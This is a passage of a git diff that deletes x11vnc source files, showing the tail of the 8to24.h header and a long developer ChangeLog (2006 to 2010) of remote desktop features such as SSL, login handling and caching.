-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_8TO24_H
-#define _X11VNC_8TO24_H
-
-/* -- 8to24.h -- */
-
-extern int multivis_count;
-extern int multivis_24count;
-
-extern void check_for_multivis(void);
-extern void bpp8to24(int, int, int, int);
-extern void mark_8bpp(int);
-
-#endif /* _X11VNC_8TO24_H */
diff --git a/x11vnc/ChangeLog b/x11vnc/ChangeLog
deleted file mode 100644
index 24e33b2..0000000
--- a/x11vnc/ChangeLog
+++ /dev/null
@@ -1,1257 +0,0 @@
-2010-12-29 Karl Runge <runge@karlrunge.com>
- * x11vnc: Use opengl to read screen on macosx. Experimental
- use of non-deprecated macosx interfaces for input injection.
- Fix cursors for 64bit macosx. Add -unixsock option. Work around
- grep issue on OpenBSD in create_display.
-
-2010-12-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add RELEASE-NOTES. Call shutdown_uinput() when exiting.
- Free some minor memory. Do not use GetMainDevice() on macosx.
- Add utility scripts qt_tslib_inject.pl and uinput.pl. Option
- -ungrabboth (not useful.) X11VNC_SB_FACTOR -sb user tweak.
- X11VNC_REFLECT_{bitsPerSample,samplesPerPixel,bytesPerPixel}
- for -reflect vncclient. Fix minor fd leaks. For -create mode
- preserve LC_ALL; FIND_DISPLAY_NO_VT_FIND, FIND_DISPLAY_NO_LSOF,
- and X11VNC_CREATE_LC_ALL_C_OK. Speed up -find and -create scripts
- for large installations. Enable direct event input modes to
- bypass uinput. TSLIB support for uinput touchscreens. Handle
- pressure events on touchscreens. User can set X11VNC_UINPUT_BUS
- and X11VNC_UINPUT_VERSION. Allow Tab switch in -create login:
- prompt. Fix bug in setting bpp for -rawfb. Java viewers now
- handle mousewheel events. No vars named new.
-
-2010-09-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: update classes/ssl jars, patches, and script.
- update prepare_x11vnc_dist.sh to 0.9.13. Makefile.am no top_srcdir
- Allow user to set avahi name and port via env. vars. Add
- avahi_timeout() sigalarm. Rename pointer() to pointer_event()
- because Xdefs.h is included for some unknown reason. Add
- -always_inject option. Add vnc_reflect_cursor_pos() for -reflect
- mode. Attempt at libvncclient VeNCrypt (disabled.) Fix bug
- with --with-system-libvncserver missing FinishedFrameBufferUpdate.
- More info in VncViewer.class http warning. Look for gdm* in
- find display heuristics (e.g. gdm3). More heuristics with
- XAUTHLOCALHOSTNAME attempts. X11VNC_CREATE_MAX_DISPLAYS: let user
- specify max number of -create displays. FD_USERPREFS modes for
- -unixpw (user conf file.) Document all exiting behavior. Let
- user set X11VNC_NO_LIMIT_SHM to avoid autoreduction. Look for
- kdm when avoiding being killed by dm, change timings too.
-
-2010-05-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: set cd->unixname in apply_opts. Print message in
- vnc_reflect_resize. Some tweaks to prepare_x11vnc_dist.sh
-
-2010-05-01 Karl Runge <runge@karlrunge.com>
- * x11vnc: X11VNC_DISABLE_SSL_CLIENT_MODE option to disable SSL
- client role in reverse connections. Improvements to logging in
- ultravnc_repeater, ULTRAVNC_REPEATER_NO_RFB option. Increase
- SSL timeout and print message if 'repeater' mode is detected for
- reverse SSL connection. Fix RECORD scroll XCopyArea detection
- with recent gtk/gdk library; set X11VNC_SCROLL_MUST_EQUAL
- to disable. Limit logging of RECORD error messages.
-
-2010-04-25 Karl Runge <runge@karlrunge.com>
- * x11vnc: incorporate new ultravnc_dsm_helper.c, add pointer_mask
- remote control query. Cut openssl default -ping delay.
-
-2010-04-18 Karl Runge <runge@karlrunge.com>
- * x11vnc/misc: improvements to demo scripts
- * x11vnc: Alias -coe for -connect_or_exit. more accurate
- dotted_ip() and -listen6. Improvements to ipv6 mode.
- http interface for X11VNC_HTTP_LISTEN_LOCALHOST. Print
- warning about missing Xvfb, Xdummy, or Xvnc in -create.
- Fix __LINUX_VIDEODEV2_H / HAVE_V4L2. Always print out info
- about Xinerama screens.
- * x11vnc/misc/enhanced_tightvnc_viewer: check for host cmd.
- fix stunnel mode w/o proxy. Update to stunnel 4.33, Fix
- build.unix with new stunnel on Solaris. ipv6 support for
- unix ssvncviewer
-
-2010-04-09 Karl Runge <runge@karlrunge.com>
- * classes/ssl: debugging and workarounds for java viewer
- * x11vnc/misc: sync ssvnc, improve util scripts.
- * x11vnc: exit(1) for -connect_or_exit failure, quiet query
- mode for grab_state, etc. ipv6 support. STUNNEL_LISTEN for
- particular interface. -input_eagerly in addition to -allinput.
- quiet Xinerama message.
-
-2010-03-20 Karl Runge <runge@karlrunge.com>
- * classes/ssl: Many improvements to Java SSL applet, onetimekey
- serverCert param, debugging printout, user dialogs, catch
- socket exceptions, autodetect x11vnc for GET=1.
- * x11vnc: misc/scripts: desktop.cgi, inet6to4, panner.pl.
- X11VNC_HTTPS_DOWNLOAD_WAIT_TIME, -unixpw %xxx documented, and
- can run user cmd in UNIXPW_CMD. FD_XDMCP_IF for create script,
- autodetect dm on udp6 only. Queries: pointer_x, pointer_y,
- pointer_same, pointer_root. Switch on -xkd if keysyms per key >
- 4 in all cases. daemon mode improvements for connect_switch,
- inet6to4, ultravnc_repeater.pl. Dynamic change of -clip do
- not create new fb if WxH is unchanged.
-
-2010-02-22 Karl Runge <runge@karlrunge.com>
- * classes/ssl: Java SSL applet viewer now works with certificate
- chains.
- * x11vnc: Printout option -sslScripts. Suggest -auth guess
- in error message. Set fake_screen width and height. Test
- for +kb in Xvfb.
-
-2010-01-02 Karl Runge <runge@karlrunge.com>
- * x11vnc: small tweaks to Xdummy, rx11vnc*. Apply
- SMALL_FOOTPRINT to -appshare text. Copyright year change.
-
-2009-12-29 Karl Runge <runge@karlrunge.com>
- * x11vnc: rename -create_x to -create_xsrv. Hopefully
- done fixing Xdummy.
-
-2009-12-28 Karl Runge <runge@karlrunge.com>
- * x11vnc: Fix problems in --without-x builds. Fix crash
- with -QD query for dbus info. Adjust window size for
- small screens in -gui. Improve F1 help for xdm, etc.
- include ssvnc 1.0.25 source.
-
-2009-12-24 Karl Runge <runge@karlrunge.com>
- * x11vnc: prepare_x11vnc_dist.sh for 0.9.10. -xdummy_xvfb,
- -svc_xdummy_xvfb and -create_x shorthand. lxde session.
- Xdummy improvements and root no longer required.
-
-2009-12-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: -DENC_HAVE_OPENSSL=0 to disable enc.h but still
- have ssl. Tweak ps command in find_display. Try to handle
- AIX su. Ignore an initial newline at login: for -unixpw.
-
-2009-12-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix keycode and other remote control actions under
- DIRECT: with an extra XFlush and other safety measures.
- fflush(stderr) much in su_verify. Make the -unixpw env. vars
- UNIXPW_DISABLE_SSL and UNIXPW_DISABLE_LOCALHOST work correctly.
- Make -loopbg actually imply -bg. Add tag=... to unixpw opts
- to set FD_TAG. Prefer Xvfb over Xdummy. Reduce wait time
- for https. Add 'Login succeeded' output to unixpw panel.
-
-2009-12-15 Karl Runge <runge@karlrunge.com>
- * x11vnc: X11VNC_REMOTE, X11VNC_TICKER, and VNC_CONNECT properties
- names can be changed via env. vars (e.g. for multiple
- x11vnc instances.) The -quiet option documented better.
- Add fakebuttonevent remote control action. Improve child
- test for connecting to port 113. Add connect_switch and
- ultravnc_repeater.pl to CVS. Report X server number of mouse
- buttons. Change find_display script to check for stale pids
- in /tmp/.XNN-lock. If root under find_display, try FD_XDM
- if previous failed to find auth. Print error reasons for
- -storepasswd failures.
-
-2009-12-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: findauth/-auth guess works with FD_XDM=1 for root
- finding dm's xauthority. Work around for GDM's recent
- 'xhost SI:localuser:root' usage. X11VNC_REOPEN_SLEEP_MAX
- for longer lived -reopen-ing. X11VNC_EXTRA_HTTPS_PARAMS for
- additional URL parameters, X11VNC_HTTP_LISTEN_LOCALHOST=1 to
- force libvncserver http to listen on localhost.
-
-2009-12-04 Karl Runge <runge@karlrunge.com>
- * classes/ssl: update binaries; new signing key; ss_vncviewer.
- * x11vnc: add more wish possibilities for -gui. Declare crypt()
- on all platforms (disable with -DDO_NOT_DECLARE_CRYPT.)
-
-2009-12-02 Karl Runge <runge@karlrunge.com>
- * x11vnc: -appshare mode for sharing an application windows of the
- entire desktop. map port + 5500 in reverse connect. Add id_cmd
- remote control functions for id (and other) windows. Allow zero
- port in SSL reverse connections. Adjust delays between multiple
- reverse connections; X11VNC_REVERSE_SLEEP_MAX env var. Add some
- missing mutex locks; add INPUT_LOCK and threads_drop_input.
- More safety in -threads mode for new framebuffer change. Fix
- some stderr leaking in -inetd mode.
-
-2009-11-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: use -timeout setting for reverse connections too.
- Delay calling xfixes at the beginning of 1st connection to avoid
- display manager Xorg server crash. Delay selwin creation at the
- begin 1st connection to avoid being killed by display manager.
- Options -findauth and '-auth guess'. Export icon_mode query.
- Do not open X display in -rawfb mode unless asked. Bugfix for
- -sid/-id handling window offscreen or bigger than display.
- Search for windows with _DBUS_SESSION_BUS_PID to decide which
- dbus_launch is ours. Fix missing displays in FIND_DISPLAY
- script. Add X11VNC_SKIP_DISPLAY_NEGATE. Improvements to
- 'x11vnc Properties' gui dialog and connecting with x11vnc via
- socket (client list.) X11VNC_SYSTEM_GREETER1 for previous text
- font size. Fix bug with unixpw and vencrypt plain login.
- Have fast fb read rate keep waitms and defer the same.
- More heuristics to check try if GDM is still running (window
- names gdm-*)
-
-2009-10-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: support for -solid option in xfce desktop.
- List -Q guess_dbus query. Implement -showrfbauth option.
- Workaround for inane X_ShmAttach incompatibility in Xorg.
-
-2009-10-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: bcx_xattach/x2x desktop switching facility.
- More remote control features: grab_state, ping:mystring,
- grablocal, resend_cutbuffer, resend_clipboard, resend_primary,
- keycode, keysym, ptr, sleep, get_xprop, set_xprop, wininfo,
- pointer_pos, mouse_xy, noop, guess_dbus Add DIRECT: for
- remote control w/o server. X11VNC_NO_CHECK_PM for more
- quiet DIRECT: usage. Options -query_retries, -remote_prefix,
- and X11VNC_SYNC_TIMEOUT for remote control. Add scripting
- to remote control. ping clients during in unixpw login.
- Option -unixpw_system_greeter as shortcut to XDM/GDM/etc panel.
- Add clear_all, viewonly, nodisplay, to unixpw username:opts.
- F1 help for options (including smaller console font).
- Document FD_TAG. Eat multiple property change events in one
- sitting (also PROP_DBG=1). Support more -ssl features (special
- cert names, single port, client certs, etc.) in -stunnel
- external SSL helper mode. Reorganize openssl code to allow
- integration with stunnel features if not compiled with openssl.
- X11VNC_HTTPS_VS_VNC_TIMEOUT Fix dbus session address for -solid
- in gnome. Use dbus-launch in -create mode if available.
- X11VNC_SKIP_DISPLAY=all in -find/-create mode. let noxauth
- unset XAUTHORITY for use with su - $USER. CREATE_DISPLAY_EXEC
- debugging. Add x_terminal_emulator to -create cmd search.
- Option -extra_fbur to tune fb update requests tracking; make
- default tracking more aggressive. RATE_VERB/CHECK_RATE env. for
- fbur rate. Env. vars to set Tk gui fonts. Catch closed
- socket reads/writes. Try to detect 'crazy' xdamage insertion,
- e.g. from some xscreensavers (needs work.). Don't switch
- on server autorepeat if any keys are pressed down to work
- around Xorg server and/or gnome bug. If PATH is empty, set
- it to minimal one. Fix bug with -bg and -dp/-dk printout if
- logfile present.
- * classes/ssl: license statement.
-
-2009-06-18 Karl Runge <runge@karlrunge.com>
- * classes/ssl: java viewer now handles auth-basic proxy logins.
- * misc/enhanced_tightvnc_viewer: update ssvnc.
-
-2009-06-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add X11VNC_REFLECT_PASSWORD env. var. for -reflect mode.
- Message to user about compiz problems suggesting -noxdamage.
- Improvements to single-port detection and logging.
-
-2009-05-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: Thread safety improvements. Add 'OpenOffice' to special
- case list for scroll detection. Fix -clip mode under -rawfb.
- Workaround Xorg bug that yields infinitely repeating keys
- when 'xset r off' action is done with keys pressed. Env. var
- X11VNC_IDLE_TIMEOUT.
-
-2009-03-12 Karl Runge <runge@karlrunge.com>
- * x11vnc: Fix off-screen bug for -ncache_cr copyrect.
-
-2009-03-07 Karl Runge <runge@karlrunge.com>
- * x11vnc: allow range for X11VNC_SKIP_DISPLAY, document grab
- Xserver issue. Add progress_client() to proceed more quickly
- thru handshake. Improvements to turbovnc hack.
-
-2009-02-28 Karl Runge <runge@karlrunge.com>
- * x11vnc: add kludge to experiment with turbovnc.
-
-2009-02-25 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix some -QD cases for use in tkx11vnc.
-
-2009-02-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -noskip_lockkeys option for future use.
-
-2009-02-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add "sendbell" remote cmd. Fix copyrect updates under
- -reflect. Workaround that checks valid window of selection
- requestor. Wait on some ssl helper pids earlier. Workaround
- XAUTHLOCALHOSTNAME for some new usage modes. Set fake fb to
- requested bpp with correct masks. -padgeom once:... mode.
- Set LIBXCB_ALLOW_SLOPPY_LOCK by default. rfbRandomBytes earlier.
- * classes/ssl: Update jars. Add "TOP_" dropdown customization to
- ultravnc java viewer applet FTP panel.
-
-2009-01-11 Karl Runge <runge@karlrunge.com>
- * classes/ssl: Add configurable Ultra java applet Filexfer Drives
- drop down (e.g. ftpDropDown=Home.Desktop.bin). Document all
- applet parameters in classes/ssl/README.
-
-2009-01-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix failure of -8to24 on default depth 24 due to
- nonstandard indexed color support changes. Fix small window
- for failure after XSendEvent selection call; add env var.
- X11VNC_SENDEVENT_SYNC=1 to take even more care.
-
-2009-01-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -rmflag option, -rawfb vt support, bpp < 8 support
- for rawfb, find /dev/video better. Fix reverse SSL connection
- for DH. Some improvements for CUPS TS helper, restart if needed.
-
-2008-12-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: 0.9.6 release. Some strtok bugfixes. rename -tlsvnc
- to -anontls. Disable ssl caching. No cert creation prompting
- in inetd or bg modes. waitpid a bit more carefully on ssl
- helpers. Tune ssl initial timeouts. Let -create user specify
- starting X display. fix -rfbport prompt gui for older tk.
- -sslonly option. Error if no -ssl with related options. -rand
- option. -ssl implies -ssl SAVE
-
-2008-11-22 Karl Runge <runge@karlrunge.com>
- * x11vnc: x11vnc.desktop file. -reopen, -dhparams, -sslCRL,
- -setdefer options. -rfbport PROMPT VeNCrypt and TLSVNC SSL/TLS
- encryption support. Tweaks to choose_delay() algorithm.
- -ssl ANON anonymouse Diffie-Hellman mode. Fix bugs in certs
- management. Additions to tray=setpass naive user mode.
-
-2008-11-09 Karl Runge <runge@karlrunge.com>
- * x11vnc: add zeroconf external helpers (avahi-publish and
- dns-sd). Alias -zeroconf. Close pipeinput_fh on exit.
- Kludge to make -solid work on MacOSX console. Attempt at
- cpp macros to disable newer libvncserver interfaces.
-
-2008-10-29 Karl Runge <runge@karlrunge.com>
- * x11vnc: -http_oneport for single port HTTP and VNC.
- Improve find_display wrt lsof blocking with -b.
-
-2008-10-19 Karl Runge <runge@karlrunge.com>
- * x11vnc: -chatwindow for chat window on X console using SSVNC
- as a helper. Print suggestion for X_ShmAttach failure.
- Allow -scale WxH for different X- and Y-scaling factors.
- Workaround for missing -enc cipher EVP_aes_256_cfb. Modify
- message digest and salt/IV parameters. Try to improve compile
- time by breaking up large if blocks.
-
-2008-09-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add symmetric key encryption -enc cipher:keyfile,
- works with SSVNC. Make -remap work on MacOSX console.
- update to 0.9.5 strings. Add a couple menu items to tkx11vnc.
-
-2008-09-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: make -allow work in -ssl mode.
-
-2008-09-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: -sleepin m-n for random sleep. More mktemp and mkstemp
- protections. SSL_INIT_TIMEOUT=n env. var. Fix macosx console
- X call bug. Synchronize other projects sources.
-
-2008-09-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: kill gui_pid on exit in -connect/-connect_or_exit mode.
- -grablocal n experiment (not compiled by default). -macuskbd
- option for macosx for orig uskdb code. keycode=N remote contol
- cmd. Find dpy look at non-NFS cookies in /tmp. Fix gui tray
- insertion on recent gnome dt. Fix connect_file bug. Sync SSVNC
-
-2008-06-07 Karl Runge <runge@karlrunge.com>
- * x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM for HP-UX.
- Print info on SSH_CONNECTION override.
-
-2008-05-31 Karl Runge <runge@karlrunge.com>
- * x11vnc: Improvements to nonstandard indexed color support, e.g.
- depths 1, 4, 12, etc. instead of only 8. Only enable xinerama
- xwarppointer if there is more than 1 subscreen.
-
-2008-05-07 Karl Runge <runge@karlrunge.com>
- * x11vnc: add UltraVNC repeater proxy support. fix to setp gui
- mode. -threads is now strongly discouraged. Read PORT= in url.
- User can set nolisten for Xvfb in -create mode. clean up
- wait_for_client() to some degree.
-
-2008-01-31 Karl Runge <runge@karlrunge.com>
- * x11vnc: during speeds estimate, guard against client
- disconnecting. ssvnc sync.
-
-2008-01-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: -ping option, fix memory corruption in copy_tiles
- after xrandr resize.
-
-2007-12-16 Karl Runge <runge@karlrunge.com>
- * x11vnc: setup remote-ctrl file by default on macosx. improve
- tkx11vnc wrt attaching to existing server in icon/tray mode.
-
-2007-12-15 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix find_display and usleep() prototype on macosx.
- -display console and check DISPLAY /tmp/...:0 on macosx.
- implement -noxinerama.
-
-2007-11-12 Karl Runge <runge@karlrunge.com>
- * x11vnc: add clear_locks (Caps_Lock, etc) action. Fix
- ssh tunnel on Darwin.
-
-2007-10-27 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix ncache bug and others under -8to24, -ssh
- option, socks and other proxies in -proxy option.
- compiler warnings. fix TARGETS selection request bug
- (java, konsole).
-
-2007-10-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: add xfce to createdisplay
-
-2007-09-26 Karl Runge <runge@karlrunge.com>
- * x11vnc: COLUMNS=256 to find/create scripts. More ratecheck.
-
-2007-09-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add -sshxdmsvc. Fix find_display for inetd. Improve
- -allinput method; env CHECK_RATE to watch for FBUR build up
- (i.e. JFVNC).
-
-2007-09-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix wireframe crash under -clip. Add -redirect for
- VNC redir. -rawfb nullbig, randbig, solid, swirl, etc.
- FD_XDM mode to find_display. -listdpy. Add enlightenment.
- Xvnc.redirect FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect,
- -svc_xvnc. AUTO_PORT.
- * ssvnc: sshvnc ssh-only, tsvnc Terminal Services modes.
- Improvements to ss_vncviewer. Automatically find X dpy and
- X login. Reorganize menus a bit. ~/.ssvncrc file.
-
-2007-09-04 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add -autoport and -finddpy utils. -xdummy creation.
- tweak xkb tiebreaking again. Shut off -ncache in dev mode.
- watch for xrandr events even if no -xrandr. Tips for types
- of URLs for java viewers. Add check_redir_services() to
- create_display and tsdo() redir helper utility (-tsd).
- Improvements to Xdummy. Prevent dcop XAUTHORITY=''
-
-2007-08-19 Karl Runge <runge@karlrunge.com>
- * x11vnc: better -xkb tie-breaking for up keystrokes. Add
- Xsrv/FD_XSRV custom server to FINDCREATEDISPLAY list.
-
-2007-08-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: improve FINDCREATEDISPLAY (-create) script. Document
- FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc support.
-
-2007-08-15 Karl Runge <runge@karlrunge.com>
- * x11vnc: add reverse -connect support to -display WAIT:
- i.e. -find, -create, -svc, ... mode. Document need for
- -shared under -connect host1,host2,... Fix bug in -display
- WAIT: mode if vnc client tries to only retrieve SSL cert.
-
-2007-08-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -xrefresh option, fix KDE .DCOPserver parse bug,
- make sure UNIXPW_DISABLE_LOCALHOST/-unixpw_unsafe ignore
- any SSH tunnel that would imply -localhost.
-
-2007-07-04 Karl Runge <runge@karlrunge.com>
- * x11vnc: -debug_ncache, fix big fonts in tkx11vnc.
-
-2007-06-14 Karl Runge <runge@karlrunge.com>
- * x11vnc: add detectors if ultravnc chat or file xfer took place,
- if so ping clients more frequently. Fix compile bug if libssl
- not available.
- * ssvnc: add ultravnc ftp jar feature. Add certificate management
- "Verify All Certs".
-
-2007-05-26 Karl Runge <runge@karlrunge.com>
- * x11vnc: set to version 0.9.2, back to NCACHE -12 for testing.
- in -unixpw, initial Escape means no echo username (see ssvnc).
-
-2007-05-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: set things up (NCACHE = -1) to not have -ncache
- on by default; just give a blurb about it.
-
-2007-05-16 Karl Runge <runge@karlrunge.com>
- * x11vnc: print out peer host and port for debugging SSL.
- * ssvnc: rand check, SOCKS support, PORT=, Verify all Certs
- and accepted certs logging.
-
-2007-05-06 Karl Runge <runge@karlrunge.com>
- * x11vnc: lower -wait and -defer to 20ms. Change some SSL
- debug output. Drop client doing ultravnc stuff in -unixpw
- during login phase.
-
-2007-05-05 Karl Runge <runge@karlrunge.com>
- * x11vnc: add groups handling for -users mode.
-
-2007-05-01 Karl Runge <runge@karlrunge.com>
- * ssl: update to java viewer and utility scripts (add onetimekey).
- * x11vnc: setsid() for -gone mode. setpgrp for -create script and
- add -cc 4 to avoid DirectColor.
-
-2007-04-28 Karl Runge <runge@karlrunge.com>
- * x11vnc: -users sslpeer= option. RFB_SSL_CLIENT_CERT var.
- X11VNC_FINDDISPLAY_ALWAYS_FAILS var. -ncache default 10.
- gid switch fix.
- * ssvnc: Linux.i*86 fix and code sync.
-
-2007-04-07 Karl Runge <runge@karlrunge.com>
- * x11vnc: add gnome, kde, etc. FINDCREATEDISPLAY tags.
- In check_ncache periodically check for changed desktop.
-
-2007-03-24 Karl Runge <runge@karlrunge.com>
- * x11vnc: reverse SSL connections. -sleepin option.
-
-2007-03-20 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add -httpsredir option for router port redirs.
- set Xcursor bg/fg color values to zero. Env var to
- force timeout: X11VNC_HTTPS_VS_VNC_TIMEOUT. Let user
- supply nc=N at login prompt. Disable -ncache beta
- test under -http/-httpdir.
-
-2007-03-13 Karl Runge <runge@karlrunge.com>
- * x11vnc: fix crash for kde dcop. limit ncache beta
- tester to 96MB viewers.
-
-2007-02-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: Get ultravnc textchat working with ssvnc.
-
-2007-02-16 Karl Runge <runge@karlrunge.com>
- * x11vnc: add Files mode to user controlled input. more
- ultra/tight filexfer tweaks. rfbversion remote control.
- noncache/nc unixpw user opt.
-
-2007-02-15 Karl Runge <runge@karlrunge.com>
- * x11vnc: tightvnc filetransfer off by default. avahi
- fixes. FINDCREATEDISPLAY geometry. -noultraext.
-
-2007-02-12 Karl Runge <runge@karlrunge.com>
- * x11vnc: add avahi (aka mDNS/Zeroconf/Bonjour...)
- support thanks to Diego Pettenò. -avahi/-mdns.
- Add -find and -create FINDISPLAY aliases.
-
-2007-02-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -grabalways, -forcedpms, -clientdpms, and
- -noserverdpms (ultravnc viewer) for improvements in
- the still approximate server locking. Add -loopbg
- and -svc, -xdmsvc aliases. Bug fix create_display.
-
-2007-02-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: watch things like textchat, etc. more carefully
- in unixpw state. Monitor broken XDAMAGE reports when
- OpenGL apps like beryl are running. Implement simple
- kbdReleaseAllKeys, setSingleWindow, setServerInput actions
- (ultravnc extentions). Try to send XDM the username in
- FINDCREATEDISPLAY, also try .dmrc before .xsession.
-
-2007-01-31 Karl Runge <runge@karlrunge.com>
- * x11vnc: -reflect reflector/repeater mode with libvncclient.
- -ncache tweaks: no kde animations and wm improvements,
- fixes to FINDDISPLAY and FINDCREATEDISPLAY login modes,
- MODTWEAK_LOWEST envvar for HP-UX keyboard workaround.
- -N option for display and rfbport matching.
-
-2007-01-12 Karl Runge <runge@karlrunge.com>
- * x11vnc: -N option, more -ncache improvements, kde/gnome.
-
-2007-01-03 Karl Runge <runge@karlrunge.com>
- * x11vnc: more -ncache improvements.
-
-2007-01-01 Karl Runge <runge@karlrunge.com>
- * x11vnc: more -ncache improvements.
-
-2006-12-28 Karl Runge <runge@karlrunge.com>
- * x11vnc: more work on -ncache, add macosx support, fix X errors
- and improve cache expiration algorithm.
-
-2006-12-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: first pass at client-side caching, -ncache option.
- have -http guess ../classes/.. to run out of build area.
-
-2006-12-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: make -xwarppointer the default if xinerama is active.
-
-2006-12-09 Karl Runge <runge@karlrunge.com>
- * java SSL viewer: guard against empty urlPrefix
- * x11vnc: FINDCREATEDISPLAY support to create X session if
- one cannot be found. close fds utility. Print VNC Viewer
- is.. for find display mode. chvt(1) utility.
-
-2006-11-23 Karl Runge <runge@karlrunge.com>
- * prepare_x11vnc_dist.sh: make ss_vncviewer installed 755.
- * x11vnc: for HTTPONCE open new http port in -inetd mode.
- -prog option to indicate full path to program (not know
- when in -inetd and tcpd)
-
-2006-11-21 Karl Runge <runge@karlrunge.com>
- * x11vnc: macosx: problem with padded framebuffer rows, wait for
- user to switch back, CutText xfer support, ignore a few more
- types of toplevels. Add local user wireframing. -dpms/-nodpms
- option to work around kdesktop_lock problem.
-
-2006-11-13 Karl Runge <runge@karlrunge.com>
- * x11vnc: Native Mac OS X support.
-
-2006-11-07 Karl Runge <runge@karlrunge.com>
- * ssl_vncviewer: vnc:// direct connect, add -x to ssh,
- SSL_VNC_LISTEN variable for direct proxy.
-
-2006-10-29 Karl Runge <runge@karlrunge.com>
- * x11vnc: Add tip about how to reenable RECORD extension.
-
-2006-10-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: -cursor_drag for DnD, etc.
-
-2006-09-23 Karl Runge <runge@karlrunge.com>
- * Java viewer: improvements to connection response, faster
- connections.
- * x11vnc: some cleanup for -unixpw login process.
-
-2006-09-20 Karl Runge <runge@karlrunge.com>
- * x11vnc: -unixpw_cmd, -passwfile cmd:/custom:, -sslnofail,
- -ultrafilexfer
-
-2006-09-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: move some info printout to -v, -verbose mode. Add
- -connect_or_exit option. Have -rfbport 0 lead to no TCP
- listening. Eliminate double certificates in .pem files.
- Always print SSL certificate to the screen to aid pasting.
-
-2006-09-15 Karl Runge <runge@karlrunge.com>
- * x11vnc: allow user set signals to ignore, clear DISPLAY in
- -unixpw su_verify. -rawfb none same as null.
- * rfbserver.c: shorten rfbEncodingNewFBSize message.
-
-2006-09-13 Karl Runge <runge@karlrunge.com>
- * x11vnc: document 'ssh -t' improved keyboard response. add
- extra rfbPE() around keystrokes.
- misc/enhanced_tightvnc_viewer: incorporate scripts, documentation,
- etc. for the enhanced tightvnc viewer package.
-
-2006-09-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: minor changes: REQ_ARGS for -sslGenCert, EV_SYN
- SYN_REPORT check restore cursor most under -display WAIT.
-
-2006-08-10 Karl Runge <runge@karlrunge.com>
- * x11vnc: first pass at touchscreens via uinput.
-
-2006-08-02 Karl Runge <runge@karlrunge.com>
- * x11vnc: add -ssltimeout option; tweak ssl timeouts.
-
-2006-07-28 Karl Runge <runge@karlrunge.com>
- * ssl_vncviewer: remove some bashisms, add features.
- * x11vnc: -rotate option (e.g. handheld), fix FPE on tru64.
-
-2006-07-17 Karl Runge <runge@karlrunge.com>
- * x11vnc: enable --without-x builds for -rawfb only (NO_X11)
-
-2006-07-11 Karl Runge <runge@karlrunge.com>
- * x11vnc: more tweaks to UINPUT, mostly mouse motion.
-
-2006-07-08 Karl Runge <runge@karlrunge.com>
- * x11vnc: add uinput support (-pipeinput UINPUT:...) for full
- mouse and key input to linux console (e.g. for qt-embedded apps)
- add -allinput for handleEventsEagerly.
-
-2006-07-04 Karl Runge <runge@karlrunge.com>
- * x11vnc: 2nd -accept popup with WAIT, and UNIX: info for unixpw
- login. Use RFB_CLIENT_ON_HOLD for -unixpw. -unixpw white arrow
- -license option. Use getspnam if getpwnam is short.
- abbrevs sc=, cm, ck for user:opts.
-
-2006-06-23 Karl Runge <runge@karlrunge.com>
- * x11vnc: misc cleanup.
-
-2006-06-18 Karl Runge <runge@karlrunge.com>
- * x11vnc: -grabkbd, -grabptr, -env options. under -unixpw +
- WAIT let user add some options after his username (e.g. runge:3/4)
- -allowedcmds to fine tune vs. -nocmds. general cleanup.
-
-2006-06-12 Karl Runge <runge@karlrunge.com>
